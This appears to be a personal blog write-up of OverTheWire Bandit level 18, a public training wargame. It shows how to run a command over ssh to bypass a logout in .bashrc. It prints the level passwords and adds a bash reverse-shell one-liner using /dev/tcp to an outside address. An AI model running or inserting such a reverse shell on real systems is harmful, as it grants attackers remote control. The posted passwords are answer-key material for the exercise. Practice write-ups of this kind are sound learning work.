Skip to main content

Bandit 18 Over The Wire

Lessons Learned

ssh actions for when bashrc has immediate logout, also has advice on some reverse shell one liners

Logging in

On a kali vm/ linux machine
Type:

ssh bandit18@bandit.labs.overthewire.org -p 2220
kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd

Completing The Challenge

The Goal:

The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.

The Solution:

kali@kali:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat ~/readme'
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password:
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x


Ive made reverse shells by doing one liner tcp calls using stuff like the following in the single quotes and by mixing commands using like the following:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
 


Comments

Popular posts from this blog

Bandit 13 Over The Wire

Lessons Learned using ssh -i filename user@localhost which is the private key ssh connection Logging in On a kali vm/ linux machine Type: ssh bandit13@bandit.labs.overthewire.org -p 2220 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL Completing The Challenge The Goal: The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14 . For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on The Solution: ssh -i sshkey.private bandit14@localhost the above command is use because we already have the private key. private keys should be used very carefully. Since we are already on the machine that hosts Bandit Over The Wire, we don't need to call the correct name, localhost will means the machine talks to itself. I don't know why, but specifying a port here caused issues. My assumption is the profiles is listeni...

Bandit 6 Over The Wire

Lessons learned Find has modifiers for user, group, size, and can execute a command on find files Logging into Bandit 6 On a kali vm/ linux machine Type: ssh bandit6@bandit.labs.overthewire.org -p 2220  DXjZPULLxYr17uwoI01bNLQbtFemEgo7 Completing The Challenge The Goal: password for next level located in a file somewhere in the server and has all of the following properties: owned by user bandit7 owned by group bandit6 33 bytes in size The Solution: bandit6@bandit:~$ find / -user bandit7 -group bandit6 -size 33c 2>/dev/null  /var/lib/dpkg/info/bandit7.password bandit6@bandit:~$ find / -user bandit7 -group bandit6 -size 33c 2>/dev/null -exec cat {} + HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs using what we learned previously we know how to get size an easy way to look for modifiers if you already have an idea of what your looking for is to do:   man CMD | grep MOD this pipes/lets grep read the output of the man page and then look for certain strings in this case i looked ...

Bandit 0 Over The Wire

Lessons learned: cat to read files Logging into Bandit 0 On a kali vm/ linux machine Type: ssh bandit0@bandit.labs.overthewire.org -p 2220 yes bandit0 Or: ssh bandit0@bandit.labs.overthewire.org -p 2220 bandit0 Completing Challenge 0 The Goal: password for next level located in a file called readme in the home directory The Solution: when logged in verify login location if not located at ~$ then: cd ~  cat readme *remember TAB auto completes Password: boJ9jbbUNNfktd78OOpsqOltutMc3MY1